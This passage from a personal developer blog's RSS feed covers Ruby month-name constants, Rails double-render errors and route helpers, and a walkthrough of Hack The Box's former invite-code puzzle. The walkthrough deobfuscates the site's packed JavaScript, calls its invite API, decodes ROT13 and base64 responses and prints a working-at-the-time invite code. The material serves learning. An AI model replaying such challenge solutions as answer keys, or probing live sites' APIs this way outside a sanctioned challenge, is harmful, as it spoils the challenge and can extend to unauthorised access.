</span></span><span class="line"><span class="cl"><span class="o">=&gt;</span> <span class="o">[</span><span class="kp">nil</span><span class="p">,</span> <span class="s2">&#34;Jan&#34;</span><span class="p">,</span> <span class="s2">&#34;Feb&#34;</span><span class="p">,</span> <span class="s2">&#34;Mar&#34;</span><span class="p">,</span> <span class="s2">&#34;Apr&#34;</span><span class="p">,</span> <span class="s2">&#34;May&#34;</span><span class="p">,</span> <span class="s2">&#34;Jun&#34;</span><span class="p">,</span> <span class="s2">&#34;Jul&#34;</span><span class="p">,</span> <span class="s2">&#34;Aug&#34;</span><span class="p">,</span> <span class="s2">&#34;Sep&#34;</span><span class="p">,</span> <span class="s2">&#34;Oct&#34;</span><span class="p">,</span> <span class="s2">&#34;Nov&#34;</span><span class="p">,</span> <span class="s2">&#34;Dec&#34;</span><span class="o">]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>In my situation, <code>ABBR_MONTHNAMES</code> will solve my problem since the data I&rsquo;m parsing contains abbreviated month names.
Now, when parsing <code>Aug 20, 2020</code>, I can run the following to get a numerical value for <code>Aug</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># irb</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">&gt;</span> <span class="nb">require</span> <span class="s1">&#39;date&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">=&gt;</span> <span class="kp">true</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="no">Date</span><span class="o">::</span><span class="no">ABBR_MONTHNAMES</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s1">&#39;Aug&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">=&gt;</span> <span class="mi">8</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>No need to create a hash or array myself, this constant gets the job done.</p>
<p>I noticed both arrays have <code>nil</code> as their first value. At first I asked &ldquo;why?&rdquo;, but it quickly became clear that the <code>nil</code> values are simply filler to take up index <code>0</code> since there is no month with this numerical value.</p>
<p>This was a nice discovery. Ruby continues to make writing code a pleasant experience.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Resolving Double Render Errors in Rails</title>
      <link>https://nelson.cloud/resolving-double-render-errors-in-rails/?ref=rss</link>
      <pubDate>Fri, 10 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/resolving-double-render-errors-in-rails/?ref=rss</guid>
      <description>Prevent Rails from throwing errors when including two redirects in an action</description><content:encoded><![CDATA[<p>When using <code>redirect_to</code> or <code>render</code> twice in one action, we get the <code>AbstractController::DoubleRenderError</code> error.</p>
<p>For example, I had the following action with two <code>redirect_to</code> methods:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">create</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="vi">@user</span><span class="o">.</span><span class="n">has_statement_this_month?</span><span class="p">(</span><span class="vi">@account</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">flash</span><span class="o">[</span><span class="ss">:alert</span><span class="o">]</span> <span class="o">=</span> <span class="s2">&#34;You already have a statement for this month.&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">redirect_to</span><span class="p">(</span><span class="n">account_path</span><span class="p">(</span><span class="vi">@account</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="vi">@statement</span> <span class="o">=</span> <span class="no">Statement</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">statement_params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="vi">@statement</span><span class="o">.</span><span class="n">account_id</span> <span class="o">=</span> <span class="vi">@account</span><span class="o">.</span><span class="n">id</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="vi">@statement</span><span class="o">.</span><span class="n">save</span>
</span></span><span class="line"><span class="cl">    <span class="n">flash</span><span class="o">[</span><span class="ss">:notice</span><span class="o">]</span> <span class="o">=</span> <span class="s1">&#39;Statement created&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">redirect_to</span><span class="p">(</span><span class="n">account_path</span><span class="p">(</span><span class="vi">@account</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="n">flash</span><span class="o">[</span><span class="ss">:alert</span><span class="o">]</span> <span class="o">=</span> <span class="vi">@statement</span><span class="o">.</span><span class="n">errors</span><span class="o">.</span><span class="n">full_messages</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s1">&#39;, &#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">render</span><span class="p">(</span><span class="s1">&#39;new&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>In this case, if a statement has an existing statement record for the current month, the action should redirect the user to <code>account_path</code>. This part works. However, redirects <em>do not</em> stop execution of the remaining code. This means that in the code above, it is possible to try to redirect to <code>account_path</code> as well as render the <code>new</code> template. This results in an error: <code>AbstractController::DoubleRenderError</code>.</p>
<p>To resolve this we need to add a <code>return</code> statement after the <code>redirect_to</code> in order to exit out of the action:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="k">if</span> <span class="vi">@user</span><span class="o">.</span><span class="n">has_statement_this_month?</span><span class="p">(</span><span class="vi">@account</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">flash</span><span class="o">[</span><span class="ss">:alert</span><span class="o">]</span> <span class="o">=</span> <span class="s2">&#34;You already have a statement for this month.&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="n">redirect_to</span><span class="p">(</span><span class="n">account_path</span><span class="p">(</span><span class="vi">@account</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="c1"># add this</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Sometimes I forget that actions are just regular ruby methods and can be exited out of by using <code>return</code>.</p>
<p>More information is available here: 

<a href="https://guides.rubyonrails.org/layouts_and_rendering.html#avoiding-double-render-errors" target="_blank" rel="noopener">Avoiding Double Render Errors</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Ruby on Rails Route Helpers vs Paths</title>
      <link>https://nelson.cloud/ruby-on-rails-route-helpers-vs-paths/?ref=rss</link>
      <pubDate>Thu, 26 Mar 2020 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/ruby-on-rails-route-helpers-vs-paths/?ref=rss</guid>
      <description>Comparing Ruby on Rails URL Helpers and Paths</description><content:encoded><![CDATA[<blockquote><p><strong>Warning:</strong></p>2021-11-08 update:
When I first wrote this post I thought this was a better way of writing links, especially after seeing it done this way in a professional setting.
However, it may not be best practice. It&rsquo;s best to stick with Rails helpers since they&rsquo;re dynamic. If routes change, the helpers may not need to be changed at all.</blockquote>

<p>While learning how to write tests for requests, I came across a different way of writing links in Rails. Up until this discovery I&rsquo;ve used URL helpers as such:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="s1">&#39;Add Account&#39;</span><span class="p">,</span> <span class="n">new_account_path</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>By checking the application&rsquo;s routes, we can see URL helpers (1st column) and URI Patterns (3rd column).</p>
<pre tabindex="0"><code>$ rails routes -c accounts

      Prefix Verb   URI Pattern                  Controller#Action
    accounts GET    /accounts(.:format)          accounts#index
             POST   /accounts(.:format)          accounts#create
 new_account GET    /accounts/new(.:format)      accounts#new
edit_account GET    /accounts/:id/edit(.:format) accounts#edit
     account GET    /accounts/:id(.:format)      accounts#show
             PATCH  /accounts/:id(.:format)      accounts#update
             PUT    /accounts/:id(.:format)      accounts#update
             DELETE /accounts/:id(.:format)      accounts#destroy
</code></pre><p>URL helpers are mapped URI patterns, but we can also use these endpoints directly. In this case, the <code>new_account</code> URL helper is the same as <code>/accounts/new</code>. So the previous link can be changed to:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="s1">&#39;Add Account&#39;</span><span class="p">,</span> <span class="s1">&#39;/accounts/new&#39;</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If a link requires an ID, we can add it through string interpolation. So the following link&hellip;</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="n">account</span><span class="o">.</span><span class="n">name</span><span class="p">,</span> <span class="n">account_path</span><span class="p">(</span><span class="vi">@account</span><span class="p">)</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>&hellip;can be rewritten like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="n">account</span><span class="o">.</span><span class="n">name</span><span class="p">,</span> <span class="s2">&#34;/accounts/</span><span class="si">#{</span><span class="vi">@account</span><span class="o">.</span><span class="n">id</span><span class="si">}</span><span class="s2">&#34;</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This also applies to nested routes. Let&rsquo;s say we have the following in <code>routes.rb</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="n">resources</span> <span class="ss">:accounts</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">resources</span> <span class="ss">:statements</span><span class="p">,</span> <span class="ss">only</span><span class="p">:</span> <span class="o">%</span><span class="n">i</span><span class="o">[</span><span class="kp">new</span> <span class="n">create</span> <span class="n">edit</span> <span class="n">update</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This block generates the following routes for the <code>statement</code> model:</p>
<pre tabindex="0"><code>$ rails routes -c statements

                Prefix Verb  URI Pattern                                         Controller#Action
    account_statements POST  /accounts/:account_id/statements(.:format)          statements#create
 new_account_statement GET   /accounts/:account_id/statements/new(.:format)      statements#new
edit_account_statement GET   /accounts/:account_id/statements/:id/edit(.:format) statements#edit
     account_statement PATCH /accounts/:account_id/statements/:id(.:format)      statements#update
                       PUT   /accounts/:account_id/statements/:id(.:format)      statements#update
</code></pre><p>If we want to create a link to edit a statement using a URL helper, we would write the following. (Notice we need to pass in two different IDs):</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="s1">&#39;Edit&#39;</span><span class="p">,</span> <span class="n">edit_account_statement_path</span><span class="p">(</span><span class="ss">account_id</span><span class="p">:</span> <span class="vi">@account</span><span class="o">.</span><span class="n">id</span><span class="p">,</span> <span class="nb">id</span><span class="p">:</span> <span class="vi">@statement</span><span class="o">.</span><span class="n">id</span><span class="p">)</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can rewrite the link using a URI pattern instead.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="s1">&#39;Edit&#39;</span><span class="p">,</span> <span class="s2">&#34;/accounts/</span><span class="si">#{</span><span class="vi">@account</span><span class="o">.</span><span class="n">id</span><span class="si">}</span><span class="s2">/statements/</span><span class="si">#{</span><span class="vi">@statement</span><span class="o">.</span><span class="n">id</span><span class="si">}</span><span class="s2">/edit&#34;</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Both URL helpers and URI patterns get the job done, but I enjoyed using URI patterns for familiarity. If an external application is going to communicate with a Rails API, they&rsquo;ll use the same endpoints defined in URI patterns. It keeps things a bit more consistent.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hacking into Hack The Box</title>
      <link>https://nelson.cloud/hacking-into-hack-the-box/?ref=rss</link>
      <pubDate>Mon, 06 Jan 2020 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/hacking-into-hack-the-box/?ref=rss</guid>
      <description>Getting the invite code to Hack The Box</description><content:encoded><![CDATA[<img src="/hacking-hack-the-box/hackthebox.webp" alt="Hack The Box Logo" width="720" height="270" style="max-width: 100%; height: auto; aspect-ratio: 800 / 300;" loading="lazy" decoding="async">
<p>Hack The Box is an online penetration testing platform where users can practice their hacking abilities and test their cybersecurity knowledge. What&rsquo;s interesting is that in order to sign up to the site in the first place, you need to hack your way in. In this post, I&rsquo;ll be showing how I managed to get in and what my thought process was along the way.</p>
<blockquote><p><strong>Note:</strong></p>2022-12-10 Update: I noticed that hackthebox no longer requires users to solve a puzzle to register, so this post no longer applies :(</blockquote>

<p>To sign up to the site, I was redirected to 

<a href="https://www.hackthebox.eu/invite" target="_blank" rel="noopener">https://www.hackthebox.eu/invite</a>. There is a single field that prompts for an invite code. Other than that, there are no clues on the surface.</p>
<img src="/hacking-hack-the-box/invitecode.webp" alt="Invite code field" width="610" height="260" style="max-width: 100%; height: auto; aspect-ratio: 610 / 260;" loading="lazy" decoding="async">
<p>The first thing I did was to inspect the code by simply right-clicking on the page and selecting &lsquo;View Page Source&rsquo;. Once I had the raw code in front of me, I tried to look for any clues as to how to get in. I ended up finding a JavaScript file that looked like exactly what I needed due to its name: 

<a href="https://www.hackthebox.eu/js/inviteapi.min.js" target="_blank" rel="noopener">inviteapi.min.js</a>. However, it was minified and hard to decipher just by looking at it:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nb">eval</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">p</span><span class="p">,</span><span class="nx">a</span><span class="p">,</span><span class="nx">c</span><span class="p">,</span><span class="nx">k</span><span class="p">,</span><span class="nx">e</span><span class="p">,</span><span class="nx">d</span><span class="p">){</span><span class="nx">e</span><span class="o">=</span><span class="kd">function</span><span class="p">(</span><span class="nx">c</span><span class="p">){</span><span class="k">return</span> <span class="nx">c</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">36</span><span class="p">)};</span><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="s1">&#39;&#39;</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/^/</span><span class="p">,</span><span class="nb">String</span><span class="p">)){</span><span class="k">while</span><span class="p">(</span><span class="nx">c</span><span class="o">--</span><span class="p">){</span><span class="nx">d</span><span class="p">[</span><span class="nx">c</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="nx">a</span><span class="p">)]</span><span class="o">=</span><span class="nx">k</span><span class="p">[</span><span class="nx">c</span><span class="p">]</span><span class="o">||</span><span class="nx">c</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="nx">a</span><span class="p">)}</span><span class="nx">k</span><span class="o">=</span><span class="p">[</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">){</span><span class="k">return</span> <span class="nx">d</span><span class="p">[</span><span class="nx">e</span><span class="p">]}];</span><span class="nx">e</span><span class="o">=</span><span class="kd">function</span><span class="p">(){</span><span class="k">return</span><span class="s1">&#39;\\w+&#39;</span><span class="p">};</span><span class="nx">c</span><span class="o">=</span><span class="mi">1</span><span class="p">};</span><span class="k">while</span><span class="p">(</span><span class="nx">c</span><span class="o">--</span><span class="p">){</span><span class="k">if</span><span class="p">(</span><span class="nx">k</span><span class="p">[</span><span class="nx">c</span><span class="p">]){</span><span class="nx">p</span><span class="o">=</span><span class="nx">p</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="s1">&#39;\\b&#39;</span><span class="o">+</span><span class="nx">e</span><span class="p">(</span><span class="nx">c</span><span class="p">)</span><span class="o">+</span><span class="s1">&#39;\\b&#39;</span><span class="p">,</span><span class="s1">&#39;g&#39;</span><span class="p">),</span><span class="nx">k</span><span class="p">[</span><span class="nx">c</span><span class="p">])}}</span><span class="k">return</span> <span class="nx">p</span><span class="p">}(</span><span class="s1">&#39;1 i(4){h 8={&#34;4&#34;:4};$.9({a:&#34;7&#34;,5:&#34;6&#34;,g:8,b:\&#39;/d/e/n\&#39;,c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:&#34;7&#34;,5:&#34;6&#34;,b:\&#39;/d/e/k/l/m\&#39;,c:1(0){3.2(0)},f:1(0){3.2(0)}})}&#39;</span><span class="p">,</span><span class="mi">24</span><span class="p">,</span><span class="mi">24</span><span class="p">,</span><span class="s1">&#39;response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify&#39;</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">&#39;|&#39;</span><span class="p">),</span><span class="mi">0</span><span class="p">,{}))</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>So I figured the next step would be to beautify the code. I opened up a new browser tab and searched for &ldquo;javascript beautify&rdquo; on google. I opened the first result, 

<a href="https://beautifier.io/" target="_blank" rel="noopener">https://beautifier.io/</a>, and copied and pasted the minified code to get some readable code. This was the result:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">verifyInviteCode</span><span class="p">(</span><span class="nx">code</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">formData</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;code&#34;</span><span class="o">:</span> <span class="nx">code</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">        <span class="nx">type</span><span class="o">:</span> <span class="s2">&#34;POST&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">dataType</span><span class="o">:</span> <span class="s2">&#34;json&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">data</span><span class="o">:</span> <span class="nx">formData</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">url</span><span class="o">:</span> <span class="s1">&#39;/api/invite/verify&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">success</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nx">error</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">makeInviteCode</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">        <span class="nx">type</span><span class="o">:</span> <span class="s2">&#34;POST&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">dataType</span><span class="o">:</span> <span class="s2">&#34;json&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">url</span><span class="o">:</span> <span class="s1">&#39;/api/invite/how/to/generate&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">success</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nx">error</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Just looking at the names of the functions confirmed to me that I was on the right path. Since I needed an invite code, I decided to run <code>makeInviteCode()</code> first in my browser&rsquo;s console and got this JSON in return:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;0&#34;</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;success&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="s2">&#34;Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/vaivgr/trarengr&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;enctype&#34;</span><span class="p">:</span> <span class="s2">&#34;ROT13&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The <code>data</code> clearly looks like encrypted text. And we even get the <code>enctype</code> telling us what form of encryption was used: ROT 13. Once again, I opened up a new browser tab and searched for &ldquo;ROT 13 decrypt&rdquo;. I chose 

<a href="https://cryptii.com/pipes/rot13-decoder" target="_blank" rel="noopener">this website</a></p>
<p>Using the tool, I decrypted the string and got the result: &ldquo;In order to generate the invite code, make a POST request to /api/invite/&rdquo;</p>
<img src="/hacking-hack-the-box/rot13site.webp" alt="Site used to decrypt ROT13 cipher" width="720" height="158" style="max-width: 100%; height: auto; aspect-ratio: 1820 / 400;" loading="lazy" decoding="async">
<p>Now, to make a <code>POST</code> request to <code>https://hackthebox.eu/api/invite/</code> I used 

<a href="https://httpie.org/" target="_blank" rel="noopener">HTTPie</a>. It was as easy as running the following:</p>
<pre tabindex="0"><code>$ http post https://www.hackthebox.eu/api/invite/generate
</code></pre><p>And I got the following JSON response:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;0&#34;</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;code&#34;</span><span class="p">:</span> <span class="s2">&#34;QUpXRlAtR01QUlgtSVhSUFQtQ0dBVUEtUklNWE4=&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;encoded&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;success&#34;</span><span class="p">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code appears to be encoded. Based on previous experience, encoded strings that end with a <code>=</code> are generally encoded in base64. I could be wrong, but I decided to try decoding it as a base64 string anyway:</p>
<pre tabindex="0"><code>$ echo QUpXRlAtR01QUlgtSVhSUFQtQ0dBVUEtUklNWE4= | base64 --decode

AJWFP-GMPRX-IXRPT-CGAUA-RIMXN
</code></pre><p>That looked like a code to me. I tried it on the form, and sure enough it worked! I was in.</p>
<img src="/hacking-hack-the-box/congrats.webp" alt="Congratulations screen" width="700" height="300" style="max-width: 100%; height: auto; aspect-ratio: 700 / 300;" loading="lazy" decoding="async">
<p>It was a lot of fun trying to figure this out. That was the easiest part though. Next, I&rsquo;ll try to root some actual machines in Hack The Box&rsquo;s pentesting labs.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Kubernetes Concepts and Hands-On with Minikube</title>
      <link>https://nelson.cloud/kubernetes-concepts-and-hands-on-with-minikube/?ref=rss</link>
